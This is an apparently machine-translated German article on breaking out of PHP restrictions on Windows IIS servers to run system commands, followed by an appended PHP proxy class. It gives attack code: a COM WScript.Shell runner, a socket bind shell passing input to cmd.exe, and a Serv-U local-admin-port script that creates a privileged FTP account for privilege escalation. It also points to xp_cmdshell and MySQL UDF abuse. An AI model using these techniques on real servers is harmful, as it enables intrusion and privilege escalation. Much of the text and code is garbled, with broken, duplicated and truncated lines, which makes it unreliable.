Von WIN2000 über WIN XP bis hin zu WIN2003 ist die Verbesserung der MS IIS-Serversicherheit offensichtlich. In WIN2000 kann eine gewöhnliche PHP-Shell es besiegen; in WIN XP können Sie Funktionen wie system() nicht zum Ausführen von Systembefehlen verwenden, selbst wenn der abgesicherte Modus deaktiviert ist. Wir können jedoch weiterhin die Funktion com() zum Durchbrechen verwenden. Selbst wenn IIS und PHP standardmäßig installiert sind, können Sie ab WIN 2003 möglicherweise nicht system() oder com() verwenden, um sie zu umgehen. Zu diesem Zeitpunkt müssen Sie einige neue Methoden anwenden, um Durchbrüche zu erzielen.
1. Durchbruch von „disable_functions“
In PHP-4.0.1 oder höher wurde eine Funktion „disable_functions“ in php.ini eingeführt. Diese Funktion ist sehr nützlich und kann zum Deaktivieren einiger Funktionen verwendet werden. Wenn Sie beispielsweise „disable_functions = passthru exec system popen“ zu „php.ini“ hinzufügen, wird beim Ausführen dieser Funktionen die Meldung „Warnung: system() wurde aus Sicherheitsgründen deaktiviert“ angezeigt und das Programm wird beendet. Es gibt jedoch keine Möglichkeit, Systembefehle auszuführen. Da PHP beispielsweise viele Perl-Funktionen verwendet, können Sie auch (`) zum Ausführen von Befehlen verwenden:
<?$output = `ls -al`;echo "<pre>$output</pre> ";?>
Es wird gesagt, dass dies nur dadurch vermieden werden kann, dass der Safe_Mode auf „On“ gesetzt wird, aber als ich ihn das letzte Mal auf einem fremden Server verwendet habe, ist er immer noch fehlgeschlagen. Menschen haben nicht immer so viel Glück :)
2.Beim
Anwenden des dl( )-Funktion
Wenn eine der internen Befehlsausführungsnummern von PHP und '' nicht verwendet werden kann, können Sie dl() ausprobieren. Diese Methode kann nur mit abgesichertem Modus=off verwendet werden, da sie im abgesicherten Modus deaktiviert ist. Mit dl() können Sie die W32api-Funktion direkt aufrufen. Leider wurde diese Erweiterung in die PECL-Bibliothek verschoben und ist seit PHP 5.1.0 oder niedriger nicht mehr gebunden. Das Folgende ist ein Beispiel aus dem Handbuch:
// Diese Erweiterung laden
dl("php_w32api.dll");
// Registrieren Sie die GetTickCount-Funktion aus kernel32.dll
w32api_register_function("kernel32.dll",
"GetTickCount",
"long") ;
// MessageBoxA-Funktion registrieren, von User32.dll
w32api_register_function("User32.dll",
"MessageBoxA",
"long");
// Informationen zur Startzeit abrufen
$
ticks = GetTickCount();
text
$secs = floor($ticks / 1000);
$hours=
floor($mins / 60);
$str = sprintf("Sie verwenden Ihren Computer seit:".
"rn %d Millisekunden oder rn %d Sekunden".
"oder rn %d Minuten oderrn %d Stunden %d Minuten.",
$ticks,
$secs,
$mins ,
$hours,
$ mins - ($hours*60));
// Zeigt ein Meldungsdialogfeld nur mit der Schaltfläche „OK“ und dem Text „Startzeit“ an.
MessageBoxA
(
NULL,
$str,
„Uptime Information“,
MB_OK);
Ich verstehe es noch nicht, ich habe ein gründliches Verständnis von dl() und W32api, daher werde ich keine zufälligen Beispiele nennen, um irreführende Leser zu vermeiden.
3. Anwendung von COM- und .Net-Funktionen (Windows)
COM (Component Object Model) ist eine von Microsoft entwickelte Softwarespezifikation. Sie dient der Entwicklung objektorientierter und kompilierter Softwarekomponenten. Sie ermöglicht die Abstraktion der Software in binäre Komponenten. Wird hauptsächlich auf der Windows-Plattform verwendet.
Die Windows-Version von PHP bietet bereits integrierte Unterstützung für dieses Erweiterungsmodul. Für die Nutzung von COM-Funktionen müssen keine zusätzlichen Erweiterungsbibliotheken geladen werden. Seine Verwendung ähnelt der Syntax zum Erstellen einer Klasse in C++ oder Java, und der COM-Klassenname wird als Parameter an den Konstruktor übergeben. Verwenden Sie beispielsweise „WScript.Shell“ in PHP, um Systembefehle auszuführen:
$cmd="E:/cert/admin/psexec.exe";
if($com=new COM("WScript.Shell")) echo "yes " ;
if(!$cmd1=$com->exec($cmd))
{
echo "kann nicht ausgeführt werden()";
}
if(!$cmd2=$cmd1->stdout())
{
echo "kann nicht stdout( ) ";
}
if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>
Abbildung 1 ist ein Beispiel, das ich geschrieben habe, um psexec.exe auszuführen.
Die Bedeutung dieses Codes ist genau die gleiche wie die von ASP. Natürlich können Sie auch „ADODB.Connection“ wie ASP verwenden, um eine Shell unter PHP Saft zu erhalten Modus=EIN.
//Datenbankverbindung erstellen
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=
" conn->Open($dsn);
//Pull die Daten durch SQL-String
$rs = $conn->Execute("select client from web"
…..
?>
.Net-Funktion kann nur auf PHP 5 ausgeführt werden Natürlich erfordert es die Unterstützung von „.Net Runtime“, und dies ist ein experimentelles PHP-Modul, das noch nicht voll funktionsfähig ist, daher werde ich hier nicht darauf eingehen.
4. Anwendung der Java()-Funktion
Diese Methode ist für den abgesicherten Modus=on geeignet. Um den JAVA-Modulserver zu verwenden, müssen Sie im Voraus eine Java Virtual Machine installieren und während der PHP-Installation und -Konfiguration die Option „with-java“ aktivieren. Der Code lautet wie folgt:
[
JAVA]
;
java.class.path = . php_java.jar
;JDK-Pfad
;Java.home = f:jdk1.3.0
;Pfad zur virtuellen Maschine
;Java.library=f:jdk1.3.0jrebinhostspotjvm .dll
ist dasselbe wie COM. Um eine Klasse in Java (nicht nur in JavaBeans) zu erstellen, übergeben Sie einfach den JAVA-Klassennamen als Parameter an den Konstruktor. Hier ist ein Beispiel aus dem Handbuch:
// Dieses Beispiel soll nur als CGI ausgeführt werden.
$frame =new
Java('java.awt.Frame', 'PHP');
awt.Button', 'Hallo Java World!');
$frame->add('North', $button)
;
$
frame->pack();
;
$thread = new Java('java.lang.Thread');
$thread->sleep(10000)
;
Leider gibt es nicht viele PHP-Server, die JAVA wirklich unterstützen
können
in Es besteht kein Grund, so viel zu diskutieren.
5. Anwendung der Funktion socket()
Socket ist ein äußerst leistungsfähiges Modul in PHP. Wenn Sie eine abstrakte Schnittstelle auf hoher Ebene verwenden (Socket wird durch die Funktionen fsockopen() und psockopen geöffnet), müssen Sie „php_sockets.dll“ nicht öffnen. von. Wenn Sie jedoch den vollständigen Socket-Funktionsblock verwenden möchten, müssen Sie ihn wie folgt in php.ini festlegen:
;
Beachten Sie, dass MySQL- und ODBC-Unterstützung jetzt integriert ist, sodass keine DLL erforderlich ist
.
; Entfernen Sie den folgenden Satz
: extension=php_sockets.dll
verwendet den Socket-Funktionsblock von PHP, um Portweiterleitung/-umleitung, Paket-Sniffing, lokalen Überlauf und andere Funktionen zu implementieren. Darüber hinaus kann es auch zum Aufbau eines TCP/UDP-Servers verwendet werden. Gleichzeitig ist es meiner Meinung nach auch der beste Weg, die Sicherheitsrichtlinien des Servers zu durchbrechen. Das Folgende ist ein Beispiel für das Öffnen eines Ports auf dem Server, um einen TCP-Server zu erstellen. Sie können damit die cmd.exe des Servers bündeln:
//Konstruieren Sie einen TCP-Dienst auf dem Server
//Dieses Beispiel erfordert die Unterstützung von php_sockets.dll
//Nach der Ausführung können Sie „telnet 127.0.0.1 1020“ verwenden, um eine Verbindung herzustellen
.error_reporting(E_ALL);
/
*Erlauben
Sie dem Skript, auf Verbindungen zu warten
was wir bekommen
* wie es hereinkommt. */
ob_implicit_flush();
//Binde IP und Port auf dem Server
$address = '127.0.0.1'
if (($sock = socket_create(AF_INET
,
SOCK_STREAM, SOL_TCP) ) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) "n"
}
if (($ret = socket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() failed: reason: " . socket_strerror($ret) "n"
}
if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen(). fehlgeschlagen: Grund: " . socket_strerror($ret) . "n";
}
do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() fehlgeschlagen: Grund: " . socket_strerror($ msgsock) . " n";
break;
}
/* Anweisungen senden */
$msg = "nWillkommen beim PHP-Testserver. n
" Shutdown'. n";
socket_write($msgsock, $msg, strlen($msg));
do {
if (false === socket_recv($msgsock, $buf, 1024, 0)) {
echo "socket_read() fehlgeschlagen : Grund: " . socket_strerror($ret) . "n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock)
;
}
$talkback = "PHP: Du hast '$buf' gesagt.n";
socket_write($msgsock, $talkback, strlen($talkback ));
echo "$bufn";
//Das Folgende verarbeitet den empfangenen buf
/*eg: zum Beispiel
$buf="cmd.exe /c netstat –an"
; r');
While ($read=
fgets($pp, 2096))
echo $read;
pclose
(
$msgsock);
}
while (true
);sock);
?>
Tatsächlich laden viele Hosts php_sockets.dll nicht. Glücklicherweise reicht uns die Funktion „fsockopen“, die keine Socket-Modulunterstützung erfordert. Denn solange „fsockopen“ vorhanden ist, können wir auf dieser Maschine Ports, die für die Außenwelt nicht offen sind, frei lesen und schreiben. Ein typisches Beispiel ist die Verwendung von fsockopen zum Lesen und Schreiben des lokalen Verwaltungsports 43958 von serv-u (Hinweis: Dieser Port kann nicht extern verbunden werden) zur Rechteausweitung:
adminuser="LocalAdministrator";
.lk;0@P ”;
$adminport=" 43958";
$fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8);
if (!$fp) {
echo "$errstr ( $errno)
n";
} else {
//$Shellcode kann geschrieben werden
// fputs ($fp, $shellcode);
fputs ($fp, "USER ".$adminuser."rn");
sleep ( 1);
fputs ($fp, "PASS
".$adminpass."rn");
fputs
(
$fp, "SITE MAINTENANCErn");
$fp, "-SETUSERSETUPrn");
fputs ($fp, "-IP=".$addr."rn");
fputs ($fp, "-PortNo=".$ftpport." rn");
fputs ($fp, "-User=".$user."rn");
fputs ($fp, "-Password=".$password."rn") ;
fputs ($fp, "-HomeDir=".$homedir."rn");
fputs ($fp,
"-LoginMesFile=rn");
rn");
fputs ($fp, "-RelPaths=0rn");
fputs ($fp, "-NeedSecure=0rn");
fputs ($fp, "-HideHidden=0 rn");
fputs ($fp, "-AlwaysAllowLogin=0rn");
fputs ($fp, "-ChangePassword=1rn");
fputs ($fp, "-QuotaEnable= 0rn");
fputs ($fp, "-MaxUsersLoginPerIP=-1rn");
fputs ($fp, "-SpeedLimitUp=-1rn");
fputs ($fp, " -SpeedLimitDown=-1rn");
fputs ($fp, "-MaxNrUsers=-1rn");
fputs ($fp, "-IdleTimeOut=600rn");
fputs ($ fp, "-SessionTimeOut=-1rn");
fputs
($fp, "-Expire=0rn
");
($fp, "-RatioDown=1rn");
fputs ($fp, "-RatiosCredit=0rn
"
);fputs ($fp, "-QuotaMaximum=0rn");
fputs ($fp, "-Maintenance=Systemrn");
fputs ($fp, "-PasswordType=Regularrn") ;
fputs ($fp, "-Ratios=Nonern");
fputs(
$fp, " Access=".$homedir."|RWAMELCDPrn");
n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp, 128);
}
}
?>
Sie können fsockopen auch verwenden, um einen HTTP-Proxy zu schreiben, um auf das externe Netzwerk zuzugreifen oder lokaler Computer. Ich habe einen vollständigen HTTPProxy (Abbildung 4) mit einem langen Code. Interessierte Leser können einen Blick darauf werfen.
6. Die MYSQL/MSSQL-Schnittstelle
unterscheidet sich von Linux darin, dass MySQL/MSSQL unter Windows im Allgemeinen als Systemadministrator ausgeführt wird. Solange Sie das Root-/SA-Passwort in der lokalen SQL-Datenbank erhalten, können Sie es daher direkt verwenden . PHP stellt eine Verbindung zur Datenbank her, um Systembefehle auszuführen.
Das Ausführen von Systembefehlen in MySQL erfordert die Ausnutzung der Schwachstelle der benutzerdefinierten Funktion „MySQL UDF Dynamic Library“. Solange Sie in MSSQL eine Verbindung zur Datenbank herstellen, können Sie den erweiterten Ausführungsbefehl „master..xp_cmdshell“ direkt aufrufen. Die Berechtigungen sind natürlich Systemberechtigungen.
Zusammenfassend lässt sich sagen, dass sich die oben genannten bahnbrechenden Methoden aufgrund unterschiedlicher System-, IIS- und PHP-Versionen möglicherweise auch über viele erweiterte Funktionen verfügen, die aus den system()-Systembefehlsausführungsfunktionen stammen können Durchbrechen Sie die Beschränkungen der Systemsicherheitsrichtlinie!
Im Anhang finden Sie den Proxy.php-Code
error_reporting(E_ALL);
/*
// Dieses Programm ist freie Software. Sie können es
unter den Bedingungen der GNU General Public License
// wie veröffentlicht von Free Software
weitergebenFoundation; entweder Version 2
// der Lizenz oder (nach Ihrer Wahl) eine spätere Version
//
// Dieses Programm wird in der Hoffnung verteilt, dass es nützlich ist,
// jedoch OHNE JEGLICHE GEWÄHRLEISTUNG der
// MARKTGÄNGIGKEIT oder EIGNUNG FÜR EINEN BESTIMMTEN ZWECK //
Weitere Informationen finden Sie in der // GNU General Public License.
//
Wenn
nicht, schreiben Sie an die Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
. ----- --------------------------------------------- --
// Klasse: PHProxy
// Autor: Ultimategamer00 (Abdullah A.)
// Letzte Änderung: 18:28 22.06.2004
*/
function __stripslashes($str)
{
return get_magic_quotes_gpc() ? : $str;
}
if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
return strtr($str, $alpha[0] , $alpha[1]
}
}
class PHProxy
{
var $allowed_hosts = array();
var
$script_url
;
var $url_segments
=> 1, ' remove_scripts' => 1, 'accept_cookies' => 1, 'show_referer' => 1);
var
$content_headers
;
var
$
response_headers;
Response_body;
function PHProxy( $flags = ' previous')
{
$this-
>script_url = 'http'
(isset(
function set_request_headers()
{
$headers = " " . (isset( $this->url_segments ['query']) ? "?" : '') "
$
headers .= "Host: :rn";
-Agent: Mozilla/ 4.0 (kompatibel; MSIE 6.0; Windows NT 5.1)rn";
$headers .= "Akzeptieren: text/xml, application/xml, application/xhtml+xml, text/html; q=0.9 , text/plain; q=0,8, video/x-mng, image/jpeg, image/gif; q=0,1rn";
$headers .= "Verbindung : closer n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: rn";
}
$cookies = $this->get_cookies();
$headers .= $ Cookies != '' ? "Cookie: $cookiesrn" : '';
if (
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query' ]) ? "? " : '') . "
$
headers .= "Host: :rn";
MSIE 6.0; Windows NT 5.1)rn";
$headers .= "Akzeptieren: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, video/x-mng , image/png, image/jpeg, image/gif;q=0.2,*/*;q=0.1rn";
$headers .= "Verbindung: schließenrn";
if ($this-> flags['show_referer'] == 1)
{
$headers .= "Referer: rn"
}
$
cookies = $this->get_cookies();
' ? "Cookie
: $cookiesrn" : '';